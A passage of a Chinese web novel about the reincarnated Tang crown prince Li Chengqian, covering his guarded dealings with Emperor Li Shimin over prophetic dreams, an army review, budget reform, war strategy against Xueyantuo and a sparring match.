《大唐太子李承乾之宿世轮回》 第91章 李世民的梦 李承乾到显德殿,只见李世民、李靖、李世绩、侯君集、李道宗、程知节、尉迟恭等一众武将身披铠甲。长孙无忌、魏征、房玄龄、萧瑀等人皆着朝服,分列两侧。 这么大阵仗,看着不像议事,像出征,李承乾进殿拜见,李世民上前扶起李承乾,道:“今日去西郊检阅玄甲军,去换朝服。” 皇帝治军极严,有检阅玄甲军的习惯,还是非定期抽查,得益于这种突击检查,玄甲军上下随时处于一种高度紧张的状态,不敢有丝毫懈怠,军力极其稳定。 李承乾一直都知道,但这还是第一次,皇帝带他一起去检阅玄甲军。 “请陛下稍候片刻,臣回崇贤馆换朝服。” 李世民顿了一顿,李承乾把寝殿搬到显德殿,他才到显德殿来等人,这崽子什么时候又把寝殿搬到崇贤馆去了? 看皇帝面上有疑惑,李承乾忙解释道:“臣白日忙着政务,两仪殿议政结束,回来编写字典,臣觉得往来显德殿和崇贤馆浪费时间,就让人将床榻挪到崇贤馆了。” 李世民眸中欣慰,拍拍李承乾肩膀,道:“我儿勤勉,快些去换朝服。” 过期的工业糖精,李承乾往后退了一步,向皇帝施礼退出殿外。 李世民目送李承乾离开,看向魏征,扬起骄傲的笑意,道:“玄成,你看到没,朕的承乾寝殿都在书馆,可比你家叔玉争气多了,你家叔玉睡书房了吗?当老师的会教学生,不会教儿子吗?” 魏征道:“陛下,这么多人,您给臣点面子行吗?” 李世民心下暗爽,魏征平常也没给他面子啊! “太子少师,朕这是夸你教导有方啊!” 魏征:…… 众大臣不语,皇帝报复心极强,平常被魏征一句赶着一句逼,逮着机会就要把魏征往死里挤兑。 不多时,李承乾换了朝服过来,跟随李世民出城去西郊,张阿难扶着皇帝上马车,李承乾上马随驾左右。 “太子,你也上来。” 李承乾愣住,天子的御驾,他还是不要染指了。 “陛下,照规矩臣乘马随驾侍奉左右。” 李世民道:“朕有话跟你说,上来。” 事不过三,不能让皇帝开第三次口,李承乾下马,张阿难扶着李承乾上车。 “陛下有什么话要说?” 李世民道:“玄甲军是朕的亲兵,朕时常亲临视察,带心腹大臣一起,这还是第一次带着太子一起去。” 李承乾点点头,道:“能见玄甲军之威,是臣之大幸。” “玄甲军统共有三万,有两万在长安京郊驻兵拱卫京师,还有一万戍卫皇宫。” 李承乾垂眸不语,重骑兵戍卫皇宫,玄武门对皇帝的影响,还真是伴随终身的。 “朕近来时常做一些奇奇怪怪的梦,梦中高明瘸了腿,还在东宫披发慕胡,宠幸伶人。高明有机缘,这样的梦高明做过吗?” 皇帝梦到了第一世,不又要开始攻心了,是梦到了他谋逆,所以要他陪同检阅玄甲军,警告他不要玩火吗? “这就是你母亲去世后,你同朕针锋相对的原因吗?” 李承乾笑道:“梦而已,怎么可以当真?” 李世民道:“梦当不得真,高明是怎么做出威慑吐蕃的火器,又是何时自通大食语的?” 李承乾道:“可是,臣没有瘸腿,也没有披发慕胡,宠幸伶人,那就是一个虚无缥缈的梦。” 李世民道:“朕的梦中,你的腿,是为你母亲射雁祈福瘸的。” 李承乾心口一阵抽痛,皇帝知他软肋是母亲,故意拿母亲来刺激他。 “那日臣的确要射雁,但突然眼前一黑,吐血昏倒,虽落下马,但不曾断腿。” 李世民继续道:“雁没射下来,箭进了太极宫,朕让玄甲军捉拿,你不明就里,追赶途中坠马,伤的很重。朕那个时候头疾犯了,没听你解释,只以为你不学无术,把箭射到太极宫,罚你禁足你在东宫,不知你伤的那样重,延误治疗才致使你腿瘸。” 李承乾强压心下翻涌的情绪,皇帝梦到了这么多第一世的事情,若皇帝知道他最后走了谋反的路,断不会留他,他若是暴毙在太子之位上,苏氏和李象还有他未出世的孩儿,皇帝又会怎么处置? 他难道还要走一趟第一世的老路,他没有兵权,根本打不进太极宫,他的太傅太保都是中立派,左右屯卫中郎将是皇帝心腹,他能用的资源还不如第一世。 李承乾又重复了一遍,道:“臣好好的坐在陛下面前,可见陛下梦中所见都是假的。” 李世民哈哈一笑,道:“是了,高明的机缘也不是人人都有,叫父亲,别叫为父一次又一次的提醒你。” 李承乾深吸一口气,皇帝梦到第一世,难道没梦到自己说过什么话吗? 人生寿夭难期,万一太子不幸,安知诸王他日不为公辈之主!何得轻之! 轮回了二三十世,做过父母,也做过儿女,皇帝是头一个,挂着爱子人设,诅咒自己孩子死的父亲。 “臣,谢父亲厚爱。” 李世民叹了口气,拍拍李承乾肩膀,道:“高明,你都说了是梦,那就不要胡思乱想,梦就是梦,当不得真,为父对你倾注了厚望,你别让阿耶失望。” 李承乾道:“臣明白,必不会让父亲失望。” 话题有些沉重,李世民知道李承乾此刻不会太想说话,便也不再多言。昨夜一宿不眠,李承乾合上眼睛闭目养神。 半个时辰颠簸,车驾到西郊,李承乾跟随皇帝登上阅兵台,举目望去黑压压一片,披坚执锐,杀气腾腾。 皇帝挥动令旗,玄甲军随之变化阵型,骑射,拼杀,入阵,破敌,夺旗,李承乾不太懂军事,好坏他看不出来,但从皇帝的军事水平,甲军过往战绩以及李靖李世绩等人赞许的目光看,绝对是现阶段首屈一指的铁军。 李世民关注着李承乾脸上的表情,李承乾眼底连一点惊艳都没有,李世民有些失望,他的玄甲军不至于差到李承乾看不上吧? 第92章 示好 “太子,朕的玄甲军如何?” 李承乾道:“陛下,臣不谙兵事,不过看卫国公与英国公满眼赞许,陛下的玄甲军必定是举世无双的铁军。” 李世民道:“朕看太子神色淡淡,还以为是太子见过更好的。” 李承乾笑道:“陛下说笑了,臣只是不谙兵事,看不出好坏。” 他不谙兵事是真,但他也的确见过更好的,重大纪念日或者十年大庆的阅兵式,他都是准时准点守在电视机前,各国的阅兵式他都看,过往的阅兵式纪录片他也看。 网络技术发达,现代化全副武装的热武器战争,他也刷了不少的视频。 没爬过雪山,也没追过爬雪山的人,可他上过近代战场,还不止一次,就是运气不太好,次次都是牺牲。 相对热武器的简单、粗暴、残忍,冷兵器的压迫感自然就没那么强了。 皇帝梦到了他被玄甲军捉拿拖行的经历,还带他来检阅玄甲军,无非就是要警告他,有这样一支铁军护卫太极宫,他要是敢有不臣的心思,玄甲军能拿他一次,也能拿他第二次。 “你是太子,不谙兵事可不行。” 李承乾道:“臣听陛下的,等忙完了这一阵,请卫国公和英国公教臣一些。” 李世民道:“朕亲自教你。” 李承乾垂眸,皇帝这是忌讳他和李靖、李世绩生出了师徒之情,这二人生了变故,助他复刻玄武门。 “臣资质愚笨,怕您到时候忍不了动手。” 李世民道:“高明,朕不会再打你了,朕怎么会舍得打你。” 李承乾道:“得陛下厚爱,臣不胜欣喜。” 从前不信佛家的轮回转世,可李承乾突然就有的学识,还会大食语,这些都向他证明,他的梦不是假的。梦中他对李承乾的苛刻,连他自己都觉得不可思议,逼得李承乾疯成那个样子,以李承乾那个性子,最后不造反才怪。 李世民后知后觉,想到之前写策论,他吓唬李承乾要杖责,李承乾对玄甲军的抵触,那时他以为李承乾是怕被杖责,现在想来是射雁一事玄甲军留下的噩梦。 玄甲军是他的亲兵,独属于帝王的权柄,他今日带李承乾过来检阅玄甲军,本是示好,眼下看来,只怕弄巧成拙了。 “回宫!” 是非之地,不宜久留。 各自有心事,马车内气压低的很,李世民先开口打破寂静,道:“之前给你取乳名鹞鹰,你似乎不太喜欢,朕重新给你取一个可好?” 李承乾道:“父亲,臣今年二十了,即将是两个孩子的父亲,已经不需要乳名了。” 李世民道:“你们兄弟都有,为父总觉得有愧于你。” 李承乾不言,愧疚是假,如今他身上的“机缘”是真,无论是李泰还是李治,都及不上他这一身“机缘”,在他没有被完全发掘,皇帝会把“父慈子孝”的戏一直演下去。 “朕自称威凤,你是朕的小凤,凤雏可好?” 凤雏,被乱箭射杀的庞士元,皇帝这是要告诉他,如果他不安分,连流放都是奢望,等待他的只有死路一条。 李承乾道:“父亲厚爱,臣心领了。只是臣才疏学浅,不敢自比庞统,庞士元。” 庞士元这个名字一出来,李世民顿觉天塌了,李承乾此前就求一道密诏,革除宗籍,送妻儿去岭南,不用想他都能猜到,李承乾的下场肯定不好,而且也没活的太久,所以才求那样一道诏书,为妻儿留退路。 鉴于之前捂死鹞鹰事情,怕李承乾多想,他才想着换乳名,一时情急,忘了凤雏庞统为乱箭射杀,英年早逝。 “你不喜欢这个乳名,阿耶再换。” 李承乾道:“父亲,臣长大了,不需要乳名了。” 李世民默默闭嘴,他这两次示好,不仅没达到效果,还直接捅李承乾心窝里了。 “阿耶回去慢慢想,会想一个寓意好的乳名给你。” 李承乾深吸一口气,他已经说了很多遍,他长大了,不需要乳名。 “谢父亲。” 他也想看看,皇帝要给他一个什么样的“乳名”,来达到警告和威慑的作用。 阅兵结束,皇帝颠簸半个时辰赶回宫中,命人在两仪殿设宴。换做平常,李承乾多半以编撰字典为由,推掉宴会, 但是,今日变故太多,他知道自己眼下不能乱,必须稳,他还没有实力和七世纪亚洲州长对掏,忍耐,猥琐发育才是上策。 皇帝怀疑那是他的前世又如何,只要梦和现实对不上,他咬死了不承认,皇帝就不可能为一个虚无缥缈的梦杀了他。眼下他掌握的未来知识,皇帝为了朝廷的利益,暂时也会留着他。 宴会结束,李承乾回到东宫继续整理归纳魏叔玉、房遗直等人挑出来字句释义。 李世民回甘露殿画了一堆的草图,没有找到自己想要的那一张,乳名迟了,他也想不到更好的乳名,思来想去,还是送李承乾一个长命锁吧! 李承乾忌讳他曾经说过的那句话,这个长命锁,就是他的回应,他希望李承乾长命百岁,过去的事情只是梦,当不得真。 翌日早朝结束,李世民将长孙无忌叫到甘露殿,推过去他画的那堆草图,道:“朕挑不出来,你替朕挑一个出来。” 长孙无忌一张张看完,道:“龙纹,只有皇帝能用,陛下不会是要送给青雀吧?” 李世民道:“送给承乾的,朕挑了块极品的羊脂玉,让他们赶在年节之前做出来。朕说了一句不该说的话,父亲咒儿子去死,承乾他很忌讳。” 长孙无忌:…… 咒儿子去死,真是亲阿耶! 换谁,谁不忌讳? “为了青雀?” 李世民点点头,长孙无忌整个人是懵的。 “陛下,上次卢家的事情,您还没看明白,青雀他跟太子比不得。” 李世民叹道:“朕跟你说不清楚,你帮忙选一个最好的出来就行了。” 皇帝不听劝,长孙无忌默默闭嘴,低头去选长命锁。 “朕何尝不悔,这一切知道的太晚。” 若早一些知晓,他一定不会同李承乾闹成如今的局面,李承乾对他毫无保留,那些超越这个时代的学识和技艺,必将铸就一个更加辉煌的大唐。 哪像眼下,李承乾跟他阳奉阴违,他怕李承乾走他曾经走过的路,无论输赢,结果都不是他想看到的。那样好的一身学识,可以做的事情太多了,不该折在父子的猜忌之中。 第93章 批假 长孙无忌选了大半天,没什么头绪,道:“若高祖咒您早死,然后送一个长命锁给您,陛下能尽释前嫌吗?” 李世民愣住,换做是他,绝无那个可能,他会在玄武门之后,把长命锁丢给父亲。 “臣的妹妹逝世后,承乾完全变了一个人,学识、见识、城府同过往,有着云泥之别。” 李世民道:“现在他是真有城府,喜怒无形于色,连朕都难以探查他的喜恶。” “陛下,您要不多和承乾相处,就像您和青雀那样。” 李世民道:“他会抱着李象哭,但不会抱着朕哭。” “那陛下就从李象下手,让李象从中调和。” “彩!”李世民抚掌喝彩,道:“朕怎么忘了这个好孙儿,承乾对他这个长子,那可不是一般的宠溺啊!” 长孙无忌友情提示:“您跟着一起宠可以,别再打一顿。” 李世民:…… “那一次是误会,朕犯了头风本就心烦意乱,又气恼李承乾冒犯,加上青雀那个混账从中作梗,一怒之下才下令责罚的。” 长孙无忌道:“那后面事情真相大白,您对青雀也没什么处罚,这事换做承乾来做,您会直接动鞭子,然后申饬禁足。” 李世民:…… “你有没有什么好的乳名,朕想给承乾取个乳名?” 长孙无忌:…… “承乾即将是两个孩子的父亲,要什么乳名?再说了,您之前不是给他取了乳名鹞鹰吗?” 李世民道:“你是忘了那只被朕捂死的鹞鹰了?” 长孙无忌沉思片刻,道:“您不是自称威凤,他是您的小凤,叫他凤雏怎么样?” 李世民苦笑,真不愧是追随他最久的心腹,想名字都想一块儿去了。 “上一个叫凤雏的庞士元,被乱箭射杀,英年早逝了。” 长孙无忌暗道:直接把李泰送出长安,不比乳名和长命锁来的实在? “臣觉得,眼下陛下还是和太子继续装糊涂,从李象下手,让李象从中调和。” 李世民深以为然,唤了张阿难进殿,道:“你去东宫和太子说一声,午后朝议他主持。朕身体不适,不去了。” 张阿难领命正要出去,就听殿外内侍疾步进来,道:“陛下,太子殿下在甘露门外求见。” 李世民道:“请太子进来。” 李承乾进殿,向皇帝见了礼,又与长孙无忌相互见礼,在皇帝左侧下首的位置落座。 “难得高明主动来甘露殿,算时间你应该在东宫,你没回东宫用膳?。” 李承乾道:“谢父亲挂心,臣同三省六部长官一起用了,年底事多,来回路上浪费时间。” 李世民使了个眼色给张阿难,旋即看向长孙无忌,长孙无忌会意,遂起身告辞,李世民要培养父子感情,他在这里碍眼。 长孙无忌离开之后,李世民看向李承乾,眼底满是欣赏之色,道:“朕的高明长大了,知道看眼色行事了。” 李承乾笑道:“臣明白,父亲是怕臣说出些过激的话,得罪了舅父。” 长孙无忌阴损是出了名的,皇帝现在要保他,自然不愿意他得罪长孙无忌。 李承乾道:“年底清算国库收支,臣发现账目上存在一些问题,与三省长官商议,都推说是积重难返,所以来找父亲商议。” 李世民道:“朕明白了,你这是又要得罪一批人了。” “这个……谈不上吧?”李承乾将挑出来的账目取出来,张阿难接过奉与皇帝。“这是部分账目,臣挑出来的,父亲看看。” 李世民大略翻看过去,不禁蹙眉,道:“支出的确大了,还临时向百姓征税,到底加重了百姓负担,不利于与民休息,可非常之期,也能理解。” 李承乾叹气,他自己当过地方官,他不干这种缺德事,可这里头什么道道他身在局中,比谁都清楚。 “臣只是觉得,地方官员上疏要多少,朝廷就给多少,不够了还要临时向百姓征收,这种风气不能长。它加重百姓的负担,地方官员操作不当,埋下了百姓对朝廷的不满,也容易让心术不正的官员中饱私囊,于朝廷长久不利。” 李世民道:“从朝廷到地方,经手的人越多,账目就越糊涂,越算不清,这些朕都知道。朝廷下派御史进行监察,可鱼龙混杂,很多时候也照顾不到。” 李承乾道:“臣有一策,或可稍稍缓解。” 李世民道:“说来听听。” 李承乾低头道:“闲暇之余,臣翻过山南东道金州的县志,臣发现了一个问题,金州府每隔十三到十五年,会有一场洪涝灾害,洪涝过后的每一年,雨水量逐年递减,迎来特大旱年,旱年过后雨量又开始往上走,直到迎来下一个洪涝。京兆地区的县志,同金州府的县志也有类似之处。” 李世民道:“调取地方县志,总结出洪涝蝗旱大致发生的时间间隔,依据过往的经验,合理划拨给地方的支出,就算是要,也必须有一个限度。” 李承乾点点头,道:“是,但臣觉得陛下所言还不够完善。朝廷调取地方县志,掌握地方洪涝蝗旱的大致规律,可为了减少心术不正的官吏,借灾年发难财的机会。但治理地方的主力还是地方官员,朝廷鞭长莫及,所以臣以为,从明年开始,地方治理的支出,要在上一年的年末或者本年年初,递交给朝廷。预算支出的核算,以当地户籍人口为主,结合自然灾害的周期性、区域性、季节性、连锁性、不可预测性等因素进行考量。预算有多余,算到下一年给地方的支出预算,如有不足,朝廷酌情补给。虽说杜绝不了贪腐,但总能降低些国库的支出。” 有些词汇闻所未闻,李世民听得一知半解,正要发问就见宫人端了吃食上来。 “官中的菜式你吃不惯,朕叫阿难吩咐人弄了些你常吃的,吃完了再说。” 宫中提供的菜式口味重,李承乾随便吃了几口,眼下是有些饿了,谢过皇帝,动筷子吃饭。 “周期性朕听懂了,区域性、季节性、连锁性、朕从名义上大致知道什么意思,但一知半解,你吃完了细细同朕说。” 李承乾吃了几口,想到自己来的另一个目的,道:“父亲,听魏叔玉和房遗直他们说,长安永兴坊,世家大族举办了为期三天的清谈会,主论内容是十三经,臣想去凑凑热闹。” 李世民轻笑,道:“京中流言不断,说你文学不通,学识浅薄,至于策论文赋多有捉刀代笔之嫌。高明哪是去凑热闹,是要去打擂台。” 李承乾道:“父亲放心,臣会小心装扮,输了就是一个无名小卒,赢了那就是大唐太子与百姓同乐,还能止息京中流言蜚语,更彰显陛下慧眼识珠,任命臣为主考。” 李世民笑道:“朕批你三日假期,去玩儿吧!” 第94章 问策 李世民翻看李承乾挑出来的账目,对比武德朝,他十分满意眼下的账目,可如李承乾上疏,能精简额外支出,他当然乐见其成。 薛延陀的真珠可汗,阳奉阴违,同西边的高昌、吐蕃等国私下往来甚密,又与东边的高句丽勾结,有生之年,他是一定要把薛延陀和高句丽给灭了,彻底解决北部和东北的边患问题。 打仗要用钱,能省则省。 “吐蕃的国书已经送来,明年四月份禄东赞和贡顿要来长安商议和亲事宜。薛延陀也送上来国书,请求下嫁公主。” 李承乾顿住,贞观十五年的事情,提前到贞观十二年年末,时间线是真全部乱完了。 “自古以来,北方一直是中原边患。在薛延陀的问题上,朕有两个想法,要么精选十万大军,灭其国家,俘其首领,可保我边境百年安定。要么答应和亲,采取羁縻,可保边境三十年安定。” 李承乾吃的差不多,放下碗筷,漱口净手,这才开口回答皇帝的问题。 “父亲和中书令他们商议过了吗?” 李世民道:“三省长官都不愿意发起战争,更倾向于和亲。” 宋朝之前的文官武德充沛是事实,可打仗又不是单挑,熟读兵书不一定能指挥大规模战争。 武将出去建功立业,有了功劳,皇帝就要给封赏,蛋糕就那么点儿大,谁愿意分出去?文官不愿意打仗,太正常了。 “父亲,您的意思呢?” 李世民道:“你不要问朕的意思,高明,只说你的看法。” 李承乾暗道:若非是唐朝的生产力和官僚体系支撑不了治理青藏地区,他直接想鼓动皇帝把吐蕃打下来。 “臣的意思,当然是打。” 历史的既定结局,皇帝和大臣拉扯了好几年,最后还是派人把薛延陀给灭了。 “朕也是这个意思,直接发兵灭了薛延陀。颉利就是一个很好的例子,武德五年、六年、七年、九年,年年犯边,搅得边境不宁,甚至将兵戈直指长安,最后朕把他给灭了,他来了长安之后不就消停了。” 李承乾一抬头,对上皇帝跃跃欲试的眼神,不知道是不是他的幻觉,总觉得皇帝想亲自下场去撕薛延陀。 “高明,朕带你去薛延陀转一圈儿怎么样?” “啊?”李承乾呆住,道:“父亲,您要御驾亲征吗?” “灭颉利的时候,朕就想御驾亲征,但那个时候朕刚登基,朝中不稳,需要朕坐镇长安,统筹大局。灭吐谷浑朕想去,先皇病重,朕又不能去。去岁打吐蕃,朕大致估算吐蕃的实力,侯君集、张亮他们一个多月打完的仗,哪里值得朕跑一趟。” 明白,皇帝喜欢打高端局。 但是,七世纪的东亚地区,州长对大多数周边国家都是碾压局。 高句丽侥幸没被灭国,得感谢当地恶劣的自然气候,以及皇帝身体素质严重下降。 “父亲,在此之前,是不是先要把高昌拿下?” “彩!”李世民抚掌大贺,道:“你也不是完全不谙兵事,知道打薛延陀先打高昌,在高昌驻兵,掣肘西域诸国和南边儿的吐蕃,防止他们借机生乱,还能阻断薛延陀西逃的退路。” 李承乾尴尬一笑,道:“父亲,臣觉得这个不是兵事,应该叫地缘关系。” 李世民道:“那你讲讲,什么叫做地缘关系。” 李承乾道:“地缘关系就是??说,一个地区的地理位置该区域内政治、经济、文化、军事等各方面的影响。” 李世民顿了一顿,跟刚才的区域性、季节性、连锁性一样,又是一堆不太懂的新词汇。 “你把地缘关系涉及到的问题,还有你刚才说得那些朕没听懂的,都给朕讲清楚。” 李承乾道:“地缘关系涉及面很广,不是一两句话的能讲清楚的,您要是实在感兴趣,臣有时间写下来,您慢慢儿看。” 李世民点头,不再纠结刚才的问题,继续道:“有一支叛军,从代北起兵南下,攻城拔寨,直逼潼关,一路从无败绩,眼下京师岌岌可危。高明,若朕要你带兵出战,此时敌军数量两倍于你,你是守还是攻?” 皇帝思想真是太跳脱了,想一出来一出。 李承乾沉默片刻,这个举例,听着怎么像是安禄山兵逼潼关? “臣觉得,应该守。” 李世民道:“理由!” 李承乾道:“叛军一路南下,锐气难挡,不可与之争锋,且我军在数量上没有绝对的优势。故臣以为,当坚守潼关,严密布防,叛军必定会攻城,挫败其攻势,消减其锐气,然后徐徐图之。” 李世民道:“现在另有一支兵马,绕到了叛军后方,与你所在的潼关形成合围之势,此时你与叛军兵力相当,你是攻还是守?” 李承乾思索片刻,道:“父亲,不知这叛军可有援军?” 李世民道:“有如何?没有又如何?” 李承乾道:“如果有援军,那就强攻兼诱降,速战速决,免得叛军援军到了之后,他们里应外合,把我军绕到敌军后方的兵马给围了,我军陷入被动。叛军被灭之后,我方两队兵马合军,兵戈直指叛军援军。如果没有援军,围而不歼,粮尽援绝,迟早困死他。” 李世民道:“那你为什么不等待叛军援军,将敌人的援军放入包围之中,继续围困呢?” 李承乾道:“被围困的叛军,已经处于绝境,哪怕有一丝突围的希望,他们都会生出破釜沉舟的气势,一个不慎,敌军援军入不了我军包围,还会让敌军里应外合,突出重围,风险太大了。” 李世民道:“那你为什么觉得,不能同锐气难挡的叛军交手?” 李承乾道:“前人的经验,《左传·庄公十年》记载,曹刿总结击败齐军的原话:‘一鼓作气,再而衰,三而竭,彼竭我盈,固克之。’战争伊始,叛军士气高涨,我军处于劣势,所以,臣才会觉得面对南下的叛军,我军当固守潼关,等他攻城,破他攻势,杀他的气焰,削弱他的士气。我军一次次挫败敌军,士气上涨,总会有攻守易型的时候。” 李世民道:“那你为什么又围而不歼,而不是直接歼灭?” 李承乾道:“重重包围之下,又做不到突出重围,没有粮草辎重补给,没有外来援兵,已然是绝境,再逼一把,叛军背水一战成了韩信,我军就算能歼灭叛军,也必定会付出惨重的伤亡。除非我军断粮,否则围就是上上之选。《史记·白起王翦列传》记载长平之战:‘赵括至,则出兵击秦军……括军败,卒四十万人降武安君。’先辈在面临这种问题时,已经替后人做出了最好的选择。” 李世民点头,笑道:“上次卢家一案,你驳斥朝堂求情的诸公,不宜妄自菲薄,怎么到了自己身上,一口一个不谙兵事,你是真的有才而不自知,还是有心藏拙?” 李承乾道:“父亲,臣是真的没有做过中军指挥,毫无兵事方面的经验,绝对不是藏拙。臣方才所答,都是纸上谈兵,大规模作战,不只是人命关天,更是关乎朝廷安危,岂能儿戏?” 李世民深以为然,道:“处理完与吐蕃和亲,安排完你那一堆乱七八糟的奏疏条陈,顺手灭了高昌,朕就要集中兵力征讨薛延陀。到时候你跟着一起,你指挥,朕看着,若有错漏,朕直接给你指出来。” 第95章 对掏 “父亲真要带臣去打薛延陀?” 李世民点点头,道:“你们都下去,朕同太子有话要说,朕不叫人,谁都不许进来,违者杀无赦!” 李承乾察觉到了气氛的不同寻常,忙道:“父亲,朝议的时间快到了,要不先去两仪殿?” 李世民没接话茬子,道:“你指挥,朕给你做军师。实在不行,朕提前给你准备好作战的筹划,你背下来,一步步来。你的才学和手段,应付文官绝对够用。可朕身边这一堆悍将,不太好收拾,你能驾驭得住最好,不到万不得已,朕不想开杀戒。” 听皇帝这么说话,李承乾心里头闷闷的,道:“父亲千秋鼎盛,那些悍将不敢造次的。” 李世民道:“朕有风疾,未必能活到高祖那个寿数,朕希望你的机缘和学识,能造福大唐千秋万代。你的后路,朕尽量给你摆平。” 李承乾垂下眸子,皇帝的言外之意,过往一笔勾销,他做好他的太子,皇帝不会废了他,还会替他安排好后路。 “当年玄武门起事,朕让辅机和敬德带朕的佩剑去请房玄龄和杜如晦,就一个想法,要么人来,要么头来。东宫还缺一个太子詹事,朕原本过了年要玄龄出任,不过近来知道了你们之间的过结,你应该挺恶心他的。满朝文武,你自己挑一个,做你的太子詹事。” 李承乾道:“父亲说笑了,臣和房相没什么过结,真有过结,房遗直他就在崇贤馆待不下去。” 李世民抿了口茶汤,李承乾这是把过往大臣的为难的账,全都算到他头上了。 眼下的情况,李承乾怨恨父亲,没有怨恨君王,老实说,李承乾做臣子很合格。 “那日朕用太子妃和他未出世的孩子问你,你对他们的安排是否合理。你回去应该问了太子妃,也想清楚了太子嫡长子不可能远离是非。” 李承乾不言,他问了,太子妃要母仪天下,他们的嫡长子身在是非之中,除非他直接被革除宗籍,否则他的子孙就逃脱不掉被清洗的命运。 “你在乎妻儿是真,承乾,你真的放下过往了吗?你从未放下,你只是不愿意去面对。想逃避,所以你对一切都不怎么上心,一心想朕把你们一家子送去岭南。逃避又不愿意低头,承认你不如人,所以你努力完成朕给你的功课,向朕证明,是朕看错了你。” 李承乾低头翻看账目,单方面屏蔽皇帝的攻心。 “朕真的把你们一家子送到岭南去,你会更加痛苦。你的逃避是因为你恨你的父亲,等离开了父亲,没有恨的来源,没有了逃避的理由,你那一身学识就会成为你痛苦的来源。” 李世民走上前,将另一册账目递给李承乾,道:“你的责任从来不只对妻儿,还有你在这个位子上的责任。如果你真的不在乎身为太子的责任,朕要你写治理京兆地区的条陈,你不会穿上粗布麻衫走遍整个京兆。你不会为了修建最合适的水利工程,在崇山峻岭之间徘徊。你不会上疏整顿税制,丰盈国库。你更不会跑到这儿来,跟朕说什么预算和决算,精简国库支出,降低老百姓负担。更不要说,组织人编撰字典,排版典章古籍。承乾,问问你自己的心,你对大唐真的没有一丝感情吗?” 李承乾深吸一口气,皇帝梦到他第一世,结合他这一身超越这个时代的学识,已经有了猜测,他虽未和皇帝坦白,也基本是明牌了。 “父亲,其实臣觉得,您做您的皇帝,臣做好臣的太子,就这么糊里糊涂的把日子过下去,没必要说得太清楚。” 李世民道:“小老百姓不是那么好做的,真把你们一家子送到岭南去,挣扎在民生疾苦之中,你的一身学识无法落到该有的位置上,你使尽了力气却无法改变现状,眼睁睁看着妻儿遭难,看着百姓流离失所,而你只能看着的时候。那个时候你就会后悔,后悔放弃曾经拥有一切,后悔你放弃了你可以改变这一切的机会。比起对父亲的恨,这些会更让你痛苦。” 李承乾道:“臣现在好好的待在太子之位上,父亲安排下来的事情,臣也不曾懈怠半分,父亲不用跟臣说这么多。” 李世民道:“你是我的儿子,你恨朕,这也是改变不了的事实,儿子什么德行,做老子的还是知道些许的。就你现在这个样子,白天做一个无可挑剔的太子,晚上回去躺在榻上,翻来覆去的想朕会怎么收拾你。时间久了,朕怕你憋坏了。索性把话跟你挑明了,你也安心,朕也安心。” 李承乾陷入沉思,不觉握拳,捏皱了账目。 李世民见状,知道李承乾心理防线基本被攻破,他道:“你不服气?殿内无人,你想单挑,为父成全你。” 说到这里,李世民轻笑,蹲下身子,直视李承乾道:“你不敢,哪怕殿内无人,朕给你机会跟朕动手,不治罪于你也不牵扯旁人,你都不敢,一个懦弱的废物!” "君无戏言,父亲别忘了。" 李承乾扔了账目,一拳打了过去,李世民稳稳地接住了,轻轻一拽,李承乾整个身子不受控的往前扑,他左臂刚要挥拳,就被辖制住,没等他反应过来,两只胳膊已经被反绞在身后,整个人被摁跪在地上。 李世民将人松开,迅速起身,居高临下看着李承乾道:“还继续吗?” 都动手了,哪能这么就算了,李承乾从地上爬起来,抡着拳头又上去了,李世民变换走位,轻而易举躲过攻势。几十轮过后,李承乾累的气喘吁吁,除却一开始被反绞,往后的主动进攻,他连皇帝的衣裳都没碰到。 李世民见时机差不多,也不继续躲闪了,正面迎上李承乾的攻势,不过一个回合,李承乾再次被反绞住,李世民一脚踹到李承乾膝弯处,迫使李承乾跪下。 “还继续吗?” 李承乾愤愤道:“你就这一招吗?不能换换吗?” 李世民笑道:“换?这已经是朕认为最为简单,最柔和的招式了。要是在战场上,冲上来的是敌人,朕不拧断他的胳膊,他的手腕也保不住。” 李承乾:…… 言罢,李世民再次将人松开,问道:“你还要继续吗?” 李承乾摇头,实力悬殊太大,玩儿不起,不玩了! “朕的话你好生想想,看你眼睛都熬红通红,想必整宿都睡不着,回去歇着,明日再来上朝。” 李世民笑了笑,儿子不好养,驾驭一个臣子,还是随随便便的。 第96章 冒昧 李承乾到崇贤馆,房遗直和魏叔玉一众人都围了上去,可他浑身跟散架了一样,大略嘱咐几句,便踱步到内室睡下。 尉迟宝琳道:“殿下这是怎么了,看着好累的样子。” 李景恒摇摇头,道:“不知道,反正我现在很难受,我们兄弟几个,都被我家那老爷子赶去睡书房了。” 众人不约而同投过去同情的目光,皇帝选定了江夏郡王之女为和亲公主,江夏郡王心里头不痛快。 女儿没了,儿子又“不成器”,基本能想到李景恒兄弟几个的日子过得有多难受。 翌日三更左右,宫人进去叫李承乾起身,昨日太极殿跟皇帝动手,剧烈运动之后,浑身酸疼,李承乾动都不想动,遂遣了人去太极宫向皇帝告了病假。 李世民收到消息,不禁疑惑,对张阿难道:“朕昨天没下狠手,太子今天告了病假。” 张阿难伺候李世民用膳,道:“太子殿下不曾习武,陛下神威,稍稍动手也够殿下的苦头吃。” 李世民心下直喊冤枉,道:“朕只是反绞了他的双手,其他的什么都没干。就他那个小胳膊小腿,朕都不敢用力,就怕把他弄折了。” 张阿难笑道:“殿下挨了打,闹些小脾气,也在情理之中……” “朕再说一遍,朕没打他。” 张阿难道:“那大概是给什么事情绊住了,要么就是真的病了,早朝结束了陛下召来御医问一问就知。” 李世民叹气,昨日一步棋走的实在险,前几次攻心以观音婢为突破口,引入苏氏和李象都失败了,失败的经验总结,无论是母亲还是妻儿,都不是李承乾绝对的痛处。 他不清楚李承乾到底经历了多少,但从李承乾的表现看,他能断定,李承乾对脚下这片土地有很深的感情,所以,他试着从责任下手,没成想直接破了李承乾的防线。 他不愿意李承乾毁在父子猜忌之中,又怕李承乾受不住那个刺激,就此一蹶不振,浪费了一身机缘和那满腹学识。 “去太医署跟御医说一声,好生照看太子,太子若有万一,朕饶不了他们。” 早朝提出预算和决算,支持的大臣仅有魏征、马周、房玄龄等少数大臣,萧瑀、阎立德、刘泪等人直接明确反对,另有高士廉、岑文本等人态度不明。 李世民扫视殿内大臣,他的每一条政令都是深思熟虑过后的,既然决定施行,谁反对都没用。 皇帝退朝,大臣们三三两两结伴而行。 被贬官的萧瑀憋了一肚子火,道:“这什么预算和决算,也不知道是谁向陛下上疏,简直是胡闹,以前都没有过这样的先例啊!” 魏征道:“没有先例,那就创造一个先例,一但可行,那就是可供后人沿用的惯例。早朝陛下提出的预算和决算,能够精简国库支出,国库充裕,朝廷强大,治理的能力就更强了,是好事。” 